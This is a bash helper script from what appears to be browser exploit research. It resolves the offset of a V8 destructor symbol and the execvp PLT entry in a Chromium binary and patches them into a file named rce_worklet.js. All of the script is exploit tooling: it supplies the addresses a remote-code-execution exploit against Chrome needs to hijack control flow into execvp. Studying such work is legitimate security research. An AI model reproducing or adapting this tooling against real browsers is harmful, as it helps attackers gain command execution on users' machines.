#!/usr/bin/env bash
set -euo pipefail

chrome_bin="${1:-/home/moyix/chromium-src-codex/src/out/current-d8/chrome}"
shift || true

if [[ ! -f "$chrome_bin" ]]; then
  echo "chrome binary not found: $chrome_bin" >&2
  exit 1
fi

if [[ $# -eq 0 ]]; then
  set -- "$(dirname "$0")"/rce_worklet.js
fi

set +o pipefail
chrome_dtor_offset="$(
  nm -an "$chrome_bin" 2>/dev/null |
    awk '
      / _ZN2v88internal6detailL?10DestructorINS0_21WasmDispatchTableDataEEEvPv$/ {print "0x"$1"n"; exit}
      / _ZN2v88internal6detailL?10DestructorINS0_12BackingStoreEEEvPv$/ {fallback = "0x"$1"n"}
      END {if (fallback != "") print fallback}
    '
)"
execvp_plt_offset="$(
  objdump -d -j .plt -j .plt.sec "$chrome_bin" 2>/dev/null |
    awk '/<execvp[$@]plt>:/ {print "0x"$1"n"; exit}'
)"
set -o pipefail

if [[ -z "${chrome_dtor_offset:-}" ]]; then
  echo "failed to locate V8 managed-object destructor offset in $chrome_bin" >&2
  exit 1
fi

if [[ -z "${execvp_plt_offset:-}" ]]; then
  echo "failed to locate execvp PLT offset in $chrome_bin" >&2
  exit 1
fi

for worklet in "$@"; do
  if [[ ! -f "$worklet" ]]; then
    echo "worklet not found: $worklet" >&2
    exit 1
  fi
  sed -i -E \
    "s/const CHROME_DTOR_OFFSET = 0x[0-9a-f]+n;/const CHROME_DTOR_OFFSET = ${chrome_dtor_offset};/" \
    "$worklet"
  sed -i -E \
    "s/const EXECVP_PLT_OFFSET = 0x[0-9a-f]+n;/const EXECVP_PLT_OFFSET = ${execvp_plt_offset};/" \
    "$worklet"
done

echo "updated $# worklet(s)"
echo "  CHROME_DTOR_OFFSET=$chrome_dtor_offset"
echo "  EXECVP_PLT_OFFSET=$execvp_plt_offset"
